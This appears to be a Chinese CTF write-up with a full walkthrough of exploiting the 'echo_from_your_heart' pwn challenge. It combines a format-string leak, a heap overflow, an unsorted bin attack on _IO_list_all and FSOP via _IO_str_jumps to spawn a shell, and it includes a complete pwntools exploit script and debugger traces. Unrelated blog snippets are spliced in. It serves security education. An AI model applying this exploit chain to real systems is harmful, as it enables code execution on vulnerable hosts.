_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
__int64 __fastcall main(__int64 a1, char **a2, char **a3) signed int v3; // ebx unsigned int length; // eax void *v5; // rbp v3 = 5; init_AB0(a1, a2, a3); puts("echo from your heart"); __printf_chk(1LL, "lens of your word: "); length = getinpt_AF0(); if ( length > 0x1000 ) puts("too long"); exit(1); v5 = malloc(length); // 申请内存大小为输入的值,不能大于0x1000 __printf_chk(1LL, "word: "); gets(v5); // 此处输入的字符数可以很大,没有长度限制,溢出 __printf_chk(1LL, "echo: "); __printf_chk(1LL, v5); putchar(10); --v3; while ( v3 ); return 0LL; 上面的get(v5)函数存在堆溢出漏洞,考虑以此为入手点,但是此程序保护全开,需要泄漏地址,got表劫持可以考虑 通过利用格式化字符串漏洞泄漏出libc的函数地址之后,构造UnsortedBin之后发现在覆盖topchunk之后再次申请出发sysmalloc()函数的int_free()时发现会触发检测错误 这个检测过不了
上面的get(v5)函数存在堆溢出漏洞,考虑以此为入手点,但是此程序保护全开,需要泄漏地址,got表劫持可以考虑
get(v5)
通过利用格式化字符串漏洞泄漏出libc的函数地址之后,构造UnsortedBin之后发现在覆盖topchunk之后再次申请出发sysmalloc()函数的int_free()时发现会触发检测错误
libc
UnsortedBin
topchunk
sysmalloc()
int_free()
这个检测过不了
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); 然后出现下面这种情况 pwndbg> Program received signal SIGABRT, Aborted. 0x00007ffff7a42438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── *RAX 0x0 *RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001 *RCX 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ *RDX 0x6 *RDI 0x23a0 *RSI 0x23a0 *R8 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0 *R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 *R10 0x8 *R11 0x246 *R12 0xfa0 *R13 0x5555557560a0 ◂— 0x0 *R14 0x1000 *R15 0x1000 *RBP 0xfd0 *RSP 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] *RIP 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 0x7ffff7a4243e <raise+62> ja raise+96 <raise+96> 0x7ffff7a42440 <raise+64> ret 0x7ffff7a42442 <raise+66> nop word ptr [rax + rax] 0x7ffff7a42448 <raise+72> test ecx, ecx 0x7ffff7a4244a <raise+74> jg raise+43 <raise+43> 0x7ffff7a4242b <raise+43> movsxd rdx, edi 0x7ffff7a4242e <raise+46> mov eax, 0xea 0x7ffff7a42433 <raise+51> movsxd rdi, ecx 0x7ffff7a42436 <raise+54> syscall 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] 01:0008│ 0x7fffffffda30 ◂— 0x20 /* ' ' */ 02:0010│ 0x7fffffffda38 ◂— 0x0 ... ↓ ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a42438 raise+56 f 1 7ffff7a4403a abort+362 f 2 7ffff7a8a2f8 __malloc_assert+104 f 3 7ffff7a8e436 sysmalloc+470 f 4 7ffff7a8f763 _int_malloc+3027 f 5 7ffff7a911d4 malloc+84 f 6 555555554947 f 7 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> b'echo: ' [DEBUG] Received 0xc4 bytes: b'deadbeef0x7ffff7dd37800x7ffff7b043800x7ffff7fdd7000x6(nil)0x555555554b800x5555555549c00x7ffff7a2d840aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' [+] libc_start_mian -> 0x7ffff7a2d750 [+] /lib/x86_64-linux-gnu/libc-2.23.so (id local-ae799c0d270a8152908e5882bde6424c6693f7a3) be choosed. 0x7ffff7a0d000 [+] system_addr -> 0x7ffff7a523a0 [+] str_bin_sh_addr -> 0x7ffff7b99e17 [DEBUG] Received 0x1 bytes: b'\n' [DEBUG] Received 0x13 bytes: b'lens of your word: ' [DEBUG] Sent 0x5 bytes: b'4032\n' [DEBUG] Received 0xe9 bytes: b"echo_from_your_heart: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.\n" 下面是IDA调试结果: libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400: ; CODE XREF: sub_7FFFF7A8E260+7Ej libc_2.23.so:00007FFFF7A8E400 ; sub_7FFFF7A8E260+87j libc_2.23.so:00007FFFF7A8E400 cmp r12, 1Fh # 此处校验请求的大小是否大于MINSIZE libc_2.23.so:00007FFFF7A8E404 jbe short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E406 test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 libc_2.23.so:00007FFFF7A8E408 jz short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E40A lea rax, [r15-1] # r15存储page大小 libc_2.23.so:00007FFFF7A8E40E test rdx, rax # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐 # 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐 libc_2.23.so:00007FFFF7A8E411 jz loc_7FFFF7A8E2ED # 此处如果跳转成功则可以继续执行 libc_2.23.so:00007FFFF7A8E417 libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417: ; CODE XREF: sub_7FFFF7A8E260+1A4j libc_2.23.so:00007FFFF7A8E417 ; sub_7FFFF7A8E260+1A8j libc_2.23.so:00007FFFF7A8E417 lea rcx, aSysmalloc ; "sysmalloc" # 此处开始获取告警字符串存储的位置 libc_2.23.so:00007FFFF7A8E41E lea rsi, aMalloc_c ; "malloc.c" libc_2.23.so:00007FFFF7A8E425 lea rdi, aOld_topInitial ; "(old_top == initial_top (av) && old_siz"... libc_2.23.so:00007FFFF7A8E42C mov edx, 961h libc_2.23.so:00007FFFF7A8E431 call near ptr unk_7FFFF7A8A290 # 此处触发告警信息并且导致程序结束 libc_2.23.so:00007FFFF7A8E436 db 2Eh libc_2.23.so:00007FFFF7A8E436 nop word ptr [rax+rax+00000000h] libc_2.23.so:00007FFFF7A8E440 根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用 下面扩展一个GDB的调试结果,同样也是锁定报错的位置 pwndbg> 0x00007ffff7a8e40e 2398 in malloc.c *RAX 0xfff RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60) R15 0x1000 ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE 0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1] ► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐 0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141> 0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20] ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a8e40e sysmalloc+430 f 1 7ffff7a8f763 _int_malloc+3027 f 2 7ffff7a911d4 malloc+84 f 3 555555554947 f 4 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk 起始地址 剩余大小 至此,再次附上sysmalloc中的_int_free的基本条件: assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件 利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 